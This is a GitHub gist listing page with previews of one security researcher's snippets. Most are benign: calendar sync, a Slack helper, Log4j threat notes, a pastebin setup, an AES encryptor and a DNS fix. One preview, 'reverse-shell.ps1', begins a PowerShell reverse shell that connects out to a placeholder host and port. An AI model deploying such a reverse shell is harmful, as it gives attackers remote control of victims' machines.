Skip to content

Instantly share code, notes, and snippets.

@noperator
noperator / blockSync.js
Last active February 2, 2023 18:10
Sync home calendar events with blocks on work calendar via Google Apps Script
function main() {
const props = PropertiesService.getScriptProperties().getProperties();
// Look for created/updated/deleted events on scheduler calendar.
const events = logSyncedEvents(props['schedulerCal'], false);
console.log("got %d new event(s)", events.length);
let e = 0
for (let event of events) {
e += 1
console.log("[%d: %s] event: %s", e, event.id, event.summary);
@noperator
noperator / slack-ununreader.sh
Created November 18, 2022 22:36
Slack un-unreader
#!/usr/bin/env bash
# Author: @noperator
# Purpose: Mark Slack messages as read when they match given criteria.
# Usage: help
set -euo pipefail
# Make a curl request with required Slack tokens.
curl-slack() {
@noperator
noperator / log4j.md
Last active December 29, 2021 09:41
Emerging threat details on CVE-2021-44228 in Apache Log4j

Update: Please see Bishop Fox's rapid response post Log4j Vulnerability: Impact Analysis for latest updates about this vulnerability.

Technologies using Apache Log4j

The Cosmos 🌌 team at Bishop Fox 🦊 is currently researching open-source projects that appear to use Log4j by default.

  • Apache Druid
  • Apache Dubbo
  • Apache Flink
  • Apache Flume
@noperator
noperator / README.md
Last active December 1, 2022 20:52
Secure containerized pastebin

Secure Containerized Pastebin

Easily deploy a secure containerized pastebin on a VPS.

Description

This project runs and configures two containers:

  • PrivateBin: A minimalist, open source online pastebin where the server has zero knowledge of pasted data. Data is encrypted and decrypted in the browser.
  • SWAG: An Nginx webserver and reverse proxy with PHP support and a built-in Certbot client that automates free SSL server certificate generation and renewal processes.
@noperator
noperator / README.md
Last active September 7, 2024 20:18
TINY README Template

TINY README Template

This is a TINY (TINY Is Not YART (Yet Another README Template)) README template. Put a brief description of the project here, and optionally include a screenshot with a nice frame:

@noperator
noperator / aes-cbc-cryptor.py
Last active June 14, 2020 01:39
AES-CBC cryptor implemented in Python.
#!/usr/bin/env python3
'''
Install dependencies:
$ python3 -m venv env
$ source env/bin/activate
$ python3 -m pip install -U pip pycryptodome
Usage:
$ python3 aes_cryptor.py e web.config
@noperator
noperator / fix-dns.sh
Last active June 14, 2020 01:39
Fix broken DNS on macOS's primary interface. 60% of the time, it works every time.
#!/bin/bash
# Start trace.
set -x
# Get active primary interface.
IFACE=$(route -n get 0.0.0.0 2>/dev/null | awk '/interface: / {print $2}')
# Get networkservice name for interface.
NETSVC=$(networksetup -listnetworkserviceorder | grep "$IFACE" | cut -d ' ' -f3- | sed 's/,.*$//')
@noperator
noperator / reverse-shell.ps1
Last active June 14, 2020 01:39 — forked from staaldraad/mini-reverse.ps1
PowerShell reverse shell
$socket = new-object System.Net.Sockets.TcpClient('<HOST>', <PORT>)
if ($socket -eq $null) {
exit 1
}
$stream = $socket.GetStream()
$writer = new-object System.IO.StreamWriter($stream)
$buffer = new-object System.Byte[] 1024
$encoding = new-object System.Text.AsciiEncoding
$writer.WriteLine("Hit Ctrl+C (not Ctrl+D!) or enter exit to close connection")
$writer.Write("> ")
@noperator
noperator / mount-encrypted-sparsebundle.sh
Last active March 6, 2022 21:25
Decrypt and mount an encrypted sparse bundle disk image using https://github.com/jief666/sparsebundlefs.
# Create mount points for decrypted sparse bundle disk image and full Apple disk image.
sudo mkdir /mnt/bundle /mnt/dmg
# Ensure loopback kernel module is loaded.
lsmod | grep ^loop || sudo modprobe loop
# Decrypt and FUSE-mount sparse bundle disk image. Trailing options help with debugging.
sudo sparsebundlefs <ENCRYPTED_SPARSE_BUNDLE_DISK_IMAGE> /mnt/bundle -s -f -D
# Note partition 2's "Start" and "Size" values.

Keybase proof

I hereby claim:

  • I am calebgross on github.
  • I am calebgross (https://keybase.io/calebgross) on keybase.
  • I have a public key whose fingerprint is 58D4 3573 7EE6 4F7E 79B7 95C3 9D51 B737 7EC0 32ED

To claim this, I am signing this object: